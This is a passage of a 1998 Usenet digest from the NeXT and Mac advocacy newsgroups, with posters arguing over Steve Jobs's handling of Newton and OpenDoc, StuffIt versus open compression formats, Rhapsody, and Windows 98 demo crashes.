:* A few months later, the spinning off is cancelled, Newton will stay
:part of Apple, because they are so enamored with the eMate and the
:design. Jobs has a letter sent under his name to the Newton developers
:saying "Thi is a good thing, we're excited about it, so we'll give the
:Newton the opportunity to grow and thrive (so you Newton developers, keep
:working on those programs!).
The Steve probably got a hard-on over the hardware, and then realized
the operating system was some little "scribbly thing".
He didn't spin off the division because the hardware engineers were good,
and needed.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Koo <amind@pacific.net.sg>
Newsgroups: comp.sys.next.advocacy
Subject: QuickTime for Rhapsody?
Date: Tue, 21 Apr 1998 18:38:15 +0800
Organization: Subscriber, Pacific Internet, Singapore
Message-ID: <353C7717.BC40E779@pacific.net.sg>
Mime-Version: 1.0
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Hi All,
Any first hand news regarding QuickTime for Rhapsody?
Appreciate that.
Regards,
Koo
Newsgroups: comp.sys.next.advocacy
Subject: Re: FYI: MS Development program
References: <01bd6a2b$12d57940$04387880@test1> <3538dff2.0@206.25.228.5> <1d7qbbr.uh2o3fpmzzcwN@cetus206.wco.com> <353a8a01.0@206.25.228.5> <1d7r80j.bqjakajc65j4N@sextans129.wco.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <353c8a7b.0@206.25.228.5>
Date: 21 Apr 98 12:00:59 GMT
mpaque@wco.com (Mike Paquette) wrote:
> John Kheit <jkheit@xtdl.com> wrote:
> > I don't see that as a problem. Of course the strategic business
> > decision makers at Apple feel differently. All I can say is
> > that ms faces the same kind of criticism, and still does this.
> > Although ms may make some less than stellar products, technically,
> > they generally do well on the strategic business decisions.
> > There must be something to it.
> I'm sure Micrsoft faces the same problem. I'm also sure that
> even if there was a problem, the testamonials and letters to the
> editor praising Microsoft would far outweigh the complaints :-)
:-) But seriously, one of the things you do have to credit ms
with, is that they are pretty darn responsive to user input. Now
of course that's a double edged sword, and just because they
implement something, doesn't mean they do it well or don't break
something else. It's actually one of the things that many people
see ms as doing well. Gosh, just think what the response would be
if it were poor! :-)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Tue, 21 Apr 1998 09:28:54 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2104980928540001@jchristie.halifaxcable.dal.ca>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net>
In article <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net>,
hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond) wrote:
> Oh yeah? Well, um, tell that to the OpenDoc developers...
>
Jobs didn't kill Open Doc, that was Amelio. Not that he wouldn't have
or didn't have any influence...
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 21 Apr 1998 12:16:43 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6hi2nb$q6n@nrtphc11.bnr.ca>
References: <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de> <353C18CF.59F87E7C@nstar.net> <6hhht9$57p$15@ironhorse.plsys.co.uk>
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In article <rex-2004982019030001@192.168.0.3> Eric King,
rex@smallandmighty.com writes:
>:
>:Lawson, what changes to *FILE* format? HFS+ is a disk format, not a file
>:format change.
>
> You should do a bit more research. HFS+ includes long file name and
>unicode support. Support for those would require changes in Stuffit.
>Probably not major changes, but changes none-the-less.
But those features are not implemented in 8.1 yet.
Matthew Cromer matthew_cromer@iname.com
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Tue, 21 Apr 1998 08:32:22 -0500
Organization: CE Software
Message-ID: <MPG.fa65be1136713e09898bd@news.supernews.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net> <353B172A.2761@london.virgin.net> <MPG.fa4876a49b5a7429898ba@news.supernews.com> <slrn6jn5o8.csm.mbkennel@lyapunov.ucsd.edu>
In article <slrn6jn5o8.csm.mbkennel@lyapunov.ucsd.edu>,
mbkennel@yahoo.com says...
> On Sun, 19 Apr 1998 23:14:16 -0500, Donald Brown <don.brown@cesoft.com> wrote:
> :* A few months later, the spinning off is cancelled, Newton will stay
> :part of Apple, because they are so enamored with the eMate and the
> :design. Jobs has a letter sent under his name to the Newton developers
> :saying "Thi is a good thing, we're excited about it, so we'll give the
> :Newton the opportunity to grow and thrive (so you Newton developers, keep
> :working on those programs!).
>
> The Steve probably got a hard-on over the hardware, and then realized
> the operating system was some little "scribbly thing".
Have you developed for the Newton OS? Even without the handwriting
recognition, it's a very sophisticated little environment. Very
expandible, good framework to deal with, and storage of medium sized bits
of data was great.
> He didn't spin off the division because the hardware engineers were good,
> and needed.
And they got laid off soon after.
And in either case, you miss the main point--Jobs lied to the developers,
knowing they'd soon know that he lied, and apparently didn't care.
Donald
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Gates breaks 98
Date: 21 Apr 1998 13:26:48 GMT
Organization: P & L Systems
Message-ID: <6hi6qo$57p$20@ironhorse.plsys.co.uk>
References: <01bd6cb4$b88b4550$04387880@test1> <6hh408$2je$3@ha2.rdc1.sdca.home.com>
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Cc: rriley@yahoo.com
In <6hh408$2je$3@ha2.rdc1.sdca.home.com> Rex Riley wrote:
> The promise of handwriting and speech recognition sounded desperate gasps
to
> hold onto their customer's faith...
>
Interestingly Gates said recently, "We're betting the company on these
natural interface technologies. The demos of this were great seven years
ago, but progress has been disappointing."
Best wishes,
mmalc.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 08:50:21 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hhmkd$e3g$1@ns3.vrx.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com>
<6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com>
<6hhas2$eef$1@news.digifix.com>
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Cc: sanguish@digifix.com
In <6hhas2$eef$1@news.digifix.com> Scott Anguish claimed:
> I do have some ideas on the Mac problems, and I've outlined
> them on a mailing list... they allow you to encode all the Macintosh
> specific information (resource forks/finder info etc..) using existing
> standard, documented formats.
May I ask what that is? Please don't let it be AppleSingle.
Maury
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Tue, 21 Apr 1998 10:55:24 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2104981055240001@132.236.171.104>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <6hhipm$57p$17@ironhorse.plsys.co.uk>
In article <6hhipm$57p$17@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> FWIW, we've (Scott and I) already talked with Apple on the subject, and a
> couple of Apple people liased with Alladdin about this, but to no avail...
>
> mmalc.
I'm not surprised. Note that there are no unstuffers available for Unix
machines except for the horribly antiquated StuffIt 1.5.1 format.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Tue, 21 Apr 1998 10:59:36 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2104981059360001@132.236.171.104>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353BFC0A.CF65C0D9@nstar.net>
In article <353BFC0A.CF65C0D9@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> I think Aladdin could (and should) be convinced that opening up the
> StuffIt file specs would be to their benefit, as gzip and zip formats
> are both cross-platform and open, and threaten to wipe away the last
> traces of Aladdin's proprietary format.
None of those formats have Mac software which is as well done as StuffIt,
IMO. I think Aladdin's market is quite safe for now, even though I'm sure
they would have a great deal of trouble penetrating any market other than
Mac compression with their current strategy.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Tue, 21 Apr 1998 10:24:08 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353CBA18.FC883CEC@nstar.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353BFC0A.CF65C0D9@nstar.net> <ericb-2104981059360001@132.236.171.104>
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Eric Bennett wrote:
>
> In article <353BFC0A.CF65C0D9@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> > I think Aladdin could (and should) be convinced that opening up the
> > StuffIt file specs would be to their benefit, as gzip and zip formats
> > are both cross-platform and open, and threaten to wipe away the last
> > traces of Aladdin's proprietary format.
>
> None of those formats have Mac software which is as well done as StuffIt,
-----------------------------^^^
> IMO. I think Aladdin's market is quite safe for now, even though I'm sure
> they would have a great deal of trouble penetrating any market other than
> Mac compression with their current strategy.
I think Aladdin's market is quite precariously maintained. I can't
remember the last time I downloaded a file and it was in StuffIt format
(except from Apple's Inside Macintosh series). I never see StuffIt
files, and that's probably because Mac users are something like 3% and
they never send StuffIt files to anyone but the other members of that
3%.
That's one helluva market, especially considering the support Rhapsody
will have for open formats. What happens when Mac users are only sending
StuffIt files to Mac users who haven't switched over to Rhapsody? My
father has to exchange data with numerous colleagues every day via FTP,
and although he and his colleagues have Macs, none of them use StuffIt.
It makes zero sense to limit the accessibility of your data so
profitlessly.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Tue, 21 Apr 1998 10:27:15 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353CBAD3.EB28F59E@nstar.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <slrn6joflf.n9p.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
>
> Scott Anguish wrote:
>
> > My 'compression standard' is to use the pre-existing
> >components (gnutar/gzip) on Rhapsody and do it that way. I doubt very
> >much that anyone is going to attempt to put forward any closed
> >compression 'standard' on Rhapsody.
>
> You should support bzip2 also - it's an emerging standard that outdoes
> gzip by about 20%.
A tradeoff of 20% space for something like 200% co/dec time.
Bzip2 is painfully slow.
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 15:32:01 GMT
Organization: I don't think so
Message-ID: <slrn6jpf58.4ff.jason@jhste1.dyn.ml.org>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353BFC0A.CF65C0D9@nstar.net> <ericb-2104981059360001@132.236.171.104>
Eric Bennett wrote:
>> I think Aladdin could (and should) be convinced that opening up the
>> StuffIt file specs would be to their benefit, as gzip and zip formats
>> are both cross-platform and open, and threaten to wipe away the last
>> traces of Aladdin's proprietary format.
>None of those formats have Mac software which is as well done as StuffIt,
>IMO. I think Aladdin's market is quite safe for now, even though I'm sure
>they would have a great deal of trouble penetrating any market other than
>Mac compression with their current strategy.
If there weren't so many files compressed with Stuffit in the Mac world,
maybe someone would compete with Aladdin. Unfortunately, this looks like
a Microsoft-like situation - the proprietary standard is so entrenched
that nobody bothers to seriously try to compete.
This is one of those bad things that makes people dislike Macs -
I downloaded a QT movie of an Apple ad the other day to test the
new version of xanim and found that it was a Stuffit archive (okay,
I wasn't paying attention when I downloaded it) - useless on a Linux
box. Grrrr.... At least the PeeCees use the cross-platform zip format.
Perhaps a takeoff on Mr. McNorton's dumb sig: "A world without platform-
specific proprietary file formats being used on the Internet is a step
closer to utopia" or whatever.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Tue, 21 Apr 1998 10:26:56 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353CBAC0.35F09EC3@nstar.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <slrn6joflf.n9p.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
>
> Scott Anguish wrote:
>
> > My 'compression standard' is to use the pre-existing
> >components (gnutar/gzip) on Rhapsody and do it that way. I doubt very
> >much that anyone is going to attempt to put forward any closed
> >compression 'standard' on Rhapsody.
>
> You should support bzip2 also - it's an emerging standard that outdoes
> gzip by about 20%.
A tradeoff of 20% space for something like 200% co/dec time.
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 15:41:53 GMT
Organization: I don't think so
Message-ID: <slrn6jpfns.4ff.jason@jhste1.dyn.ml.org>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <slrn6joflf.n9p.jason@jhste1.dyn.ml.org> <353CBAC0.35F09EC3@nstar.net>
Michael Peck wrote:
>> > My 'compression standard' is to use the pre-existing
>> >components (gnutar/gzip) on Rhapsody and do it that way. I doubt very
>> >much that anyone is going to attempt to put forward any closed
>> >compression 'standard' on Rhapsody.
>> You should support bzip2 also - it's an emerging standard that outdoes
>> gzip by about 20%.
>A tradeoff of 20% space for something like 200% co/dec time.
For those of us downloading large archives of source code via modem,
it's well worth it. (Say 5MB instead of 6MB - a 1MB or ~6 minute download
saving traded off against a few seconds of extra decompress time on my
old 180MHz 603e).
It _does_ take forever to compress large files, especially if you choose
the -9 option (which I always do).
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Tue, 21 Apr 1998 08:45:42 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2104980845420001@dante.eng.uci.edu>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul> <6henng$pdv$1@interport.net> <353BCFAE.28D2@earthlink.net>
In article <353BCFAE.28D2@earthlink.net>, skellener@earthlink.net wrote:
>There's also a good chance that TIFFany could possibly put Photoshop to
>bed. Now, if Caffiene can do up an "After Effects Killer" we'd be
>cookin' with gas!!
Based on what I've seen TIFFany needs some serious UI work and requires a
fairly significant relearning for the user in terms of it's basic
operation and feel. It won't woo too many Photoshop users. Maybe added to
their toolbox, but not as a replacement. I don't think about Photoshop
much anymore - most of the time I think about what I want to do and
somehow it happens. That's hard to give up.
Technically, it looks to be an outstanding product. It's just missing that
level of polish that Mac users so stubbornly demand. Its difficult to use
a tool to create a very polished piece of work when that tool is itself
not very polished.
-Bob Cassidy
From: zalta@mally.Stanford.EDU (Edward N. Zalta)
Newsgroups: comp.sys.next.advocacy
Subject: NeXT sighting in today's NYTimes
Date: 21 Apr 1998 17:00:38 GMT
Message-ID: <6hijbm$9en$1@nntp.Stanford.EDU>
In today's New York Times, on page B12 (in the Tuesday Science Times
section), there is a picture of Dr. Paul Ginsparg, who developed the
physics preprint exchange <http://xxx.lanl.gov/>, sitting in front of
his NeXT machine.
I was particularly interested by this because we have used our NeXT
machines at CSLI to develop the first web-based `dynamic'
encyclopedia, in which the authors have accounts and home directories
(where they store their entries) on the machine serving the
encyclopedia web-pages, thereby giving them the means to keep their
entries up-to-date. Unlike the physics preprint exchange, however, all
of our entries are refereed and we have programs that detect when the
authors make revisions and that notify the relevant members of our
Board of Editors, alerting them that the new material has to be
refereed. See the Stanford Encyclopedia of Philosophy at
<http://plato.stanford.eu/>, if you are interested.
Ed
---
Edward N. Zalta
Senior Research Scholar,
Center for the Study of Language and Information
Consulting Associate Professor,
Department of Philosophy
Stanford University
Home Page URL = http://mally.stanford.edu/zalta.html
--
Edward N. Zalta
Senior Research Scholar,
Center for the Study of Language and Information
Consulting Associate Professor,
Department of Philosophy
Stanford University
Home Page URL = http://mally.stanford.edu/zalta.html
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 21 Apr 1998 17:39:51 GMT
Message-ID: <01bd6d4c$0f489900$1bf0bfa8@davidsul>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul> <6henng$pdv$1@interport.net> <353BCFAE.28D2@earthlink.net>
Steve Kellener <skellener@earthlink.net> wrote in article
<353BCFAE.28D2@earthlink.net>...
> float@interport.net wrote:
> > NeXT Newbie (macghod@concentric.net) wrote:
> > : Yay, rhapsody is out with its great support for
> > : multi-processors. Oops, but their is no photoshop :P
>
> Oops, but there is still the Blue Box! You can have your Rhapsody and
> eat your cake too!
Which is irrelevant. MAC photoshop users are crowing about rhapsody
because it will have great support for multi processors, so photoshop will
run better. This is in response to "the mac only supports multiprocessors
if the app specifially has code to support the multiprocessors". Still
having the blue box is irrelevant, since the whole point is rhapsody's
support of multi processors that the blue box doesnt have
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 21 Apr 1998 15:44:11 GMT
Organization: IBM.NET
On Mon, 20 Apr 1998 14:54:13, "Lance Togar" <ltogar@msn.com> thought
aloud:
> Time to wake up! Jobs is little more than a talented circus barker with the
> foresight of a caterpillar on the interstate.
These "MS guys" get quite tiring... don't probably even get paid by
the MS PR machine.
--
taiQ
[this space is intentionally blank]
From: mark@sapphire.oaai.com (Mark Onyschuk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Gates breaks 98
Date: 21 Apr 1998 11:36:37 GMT
Organization: M. Onyschuk and Associates Inc.
Message-ID: <slrn6jpip9.g73.mark@sapphire.oaai.com>
References: <01bd6cb4$b88b4550$04387880@test1> <353C3760.C32C5EE8@trilithon.com>
In article <353C3760.C32C5EE8@trilithon.com>, Henry McGilton wrote:
>Todd Heberlein wrote:
> * Bill Gates crashed Windows 98 during demonstration.
> * For more information, see . . .
>Yawn. When His Stevieness crashed an EOF demo at NextWorld,
>he just said, "there --- now you can see it's a live demo".
>
> ........ Henry
Or my personal favourite at a demo of WebObjects, when a Windows 95 client
crashes during the demo, without skipping a beat Jobs says:
"This commercial break brought to you by Microsoft."
:-)
Mark
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 21 Apr 98 12:00:07 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1623ADC-1C55F@207.217.155.145>
References: <*johnnyc*-2104980928540001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.next.advocacy
> Jobs didn't kill Open Doc, that was Amelio. Not that he wouldn't have
>or didn't have any influence...
>
History lesson. May 1997, WWDC, San Jose, Jobs' fireside chat. Someone in
the front row yells "What about OpenDoc?" and he replies (something like),
"What about it? I killed it, didn't I? {something about all the hatemail he
gets} Put a bullet through its head. Get over it. Move on."
When I asked David Krathwohl (head of ADR at the time) whether he could
approach the executive class at Apple and tell them that such comments have
the effect of shaking customers' confidence in products thrid party
developers ship and that said third party developers have been around
supporting Apple longer than any of the currect execs at the time, David
replied, "Well, it's Steve and that's how he is.".
In the same speech, Steve Jobs went on to trash the Newton, the cloners,
the guy who wrote Eudora, etc. He may very well not have been the decision
maker responsible for maintenance-moding OpenDoc, but he has taken several
steps since then to make it more difficult for developers who supported
Apple to recover their investments.
He's a jerk. I still want an apology from him, but I know I'm not first in
line. I would be satisifed if he'd just resign and go wreck some other
company.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: Sam Kass <samkass@samkass.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Tue, 21 Apr 1998 15:14:07 -0400
Organization: Pittsburgh OnLine, Inc.
Message-ID: <353CEFFF.DDC5D0B4@samkass.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net>
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I think its premature to comment on whether Jobs will turn out to have
been a good CEO, as none of his plans have come to fruitition yet. The
only visible effect of his leadership has been cost cutting measures,
which, while necessary, do not a strategy make. All the products and
software that have come out since Jobs' reign began were already in the
pipeline when he took over, from what I understand. And everything he's
currently got on the burners has been kept tightly under wraps so far.
I think the hinted consumer devices in the fall, the final shape of
Rhapsody CR1, the Sonata release of MacOS, and the next generation of
Macintosh hardware (the ones that will come AFTER the G3 line, Wall Street
PowerBooks, and the all-in-one Mac) will become Jobs' new legacy.
I think the only evidence so far is that Amelio was generally on the right
track, albeit traveling much too slowly.
--Sam
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Tue, 21 Apr 1998 14:34:07 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353CF4AF.3135@CONVEX.COM>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com>
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Sam Kass wrote:
> I think the only evidence so far is that Amelio was generally on the right
> track, albeit traveling much too slowly.
Exactly. Which is a new message for this newsgroup.
MJP
--
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From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 20:13:26 GMT
Organization: Digital Fix Development
Message-ID: <6hiul6$36o$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <slrn6joflf.n9p.jason@jhste1.dyn.ml.org>
In-Reply-To: <slrn6joflf.n9p.jason@jhste1.dyn.ml.org>
On 04/20/98, Jason S. wrote:
>Scott Anguish wrote:
>
>> My 'compression standard' is to use the pre-existing
>>components (gnutar/gzip) on Rhapsody and do it that way. I doubt
very
>>much that anyone is going to attempt to put forward any closed
>>compression 'standard' on Rhapsody.
>
>You should support bzip2 also - it's an emerging standard that
outdoes
>gzip by about 20%.
>
Well, OpenUp is an extensible application... someone sent me
the binary for bzip2, and the line for the config file in OpenUp..
I've just not had the time to make another release..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: mark@sapphire.oaai.com (Mark Onyschuk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 21 Apr 1998 14:40:48 GMT
Organization: M. Onyschuk and Associates Inc.
Message-ID: <slrn6jptil.ggp.mark@sapphire.oaai.com>
References: <*johnnyc*-2104980928540001@jchristie.halifaxcable.dal.ca> <B1623ADC-1C55F@207.217.155.145>
In article <B1623ADC-1C55F@207.217.155.145>, Brad Hutchings wrote:
>History lesson. May 1997, WWDC, San Jose, Jobs' fireside chat. Someone in
>the front row yells "What about OpenDoc?" and he replies (something like),
>"What about it? I killed it, didn't I? {something about all the hatemail he
>gets} Put a bullet through its head. Get over it. Move on."
[snip]
>He's a jerk. I still want an apology from him, but I know I'm not first in
>line. I would be satisifed if he'd just resign and go wreck some other
>company.
Steve, if you're looking we've got a nice company here that could stand
to be "wrecked" the way you're "wrecking" Apple today.
:-)
Mark
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Tue, 21 Apr 1998 15:50:53 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353D06AD.5412@CONVEX.COM>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Amelio may have been wrong on
> a. cloning ( Apple + cloners should have worked out a more
I won't even get into this again.
> b. Newton (supposedly Amelio's keeping the Newton was against
> various recommendations.)
But not, apparently, the recommendations of customers. Silly Amelio!
Jobs has since proven that ignoring customers is a smarter way of doing
business.
As revenues continue to plunge.
MJP
--
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From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 21 Apr 98 18:40:24 GMT
Organization: QMS
Message-ID: <6hip5o$1pb$1@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6hhht9$57p$15@ironhorse.plsys.co.uk>
In article <6hhht9$57p$15@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>In <1998040920073876968@dialup-202.def.oleane.com> Jacques Foucry wrote:
>> Olivier Gutknecht <gutkneco+news@lirmm.fr> wrote (Ýcrivait)€:
>>
>> > Agreed. The only explanation is that Apple is not interested anymore in
>> > small/independant development groups.
>>
>> Perhaps, but without small/independant developer, no "Super Clock", no
>> "Stickies", no new Control Strip...
>>
>And the downside...?
>
>FWIW, Stickies for Rhapsody was pretty much our Friday afternoon project for
>the folks at Apple Cork...
The assumption being, therefore, that it is substantially easier to do
stickies on Rhapsody.
If this holds true for larger projects, which my Next-using friends
assure me is the case, then the shareware programmer who might
have thought Stickies an appropriate project will now do something
more substantial. If, that is, he or she is doing Rhapsody
development at all.
Again, therefore, without small, independent developers, things that
would otherwise have developed will not be. Whether the new polices
are going to remove such developers is a different question that has
not yet been tested, but it is disingenuous to claim that small
developers have no value, or that there is no cost to making them
feel unwelcome.
It may well be the case that dignifying the "just download it"
resources with a "Developer Support Online" moniker will be
sufficient. The resources out there might well have been back
in my college days, and the time thereafter when I was pushing
Apple products as a sideline.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 20:10:10 GMT
Organization: Digital Fix Development
Message-ID: <6hiuf2$36m$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <353C31FB.926B5243@milestonerdl.com>
In-Reply-To: <353C31FB.926B5243@milestonerdl.com>
On 04/20/98, M Rassbach wrote:
>
>
>Scott Anguish wrote:
>
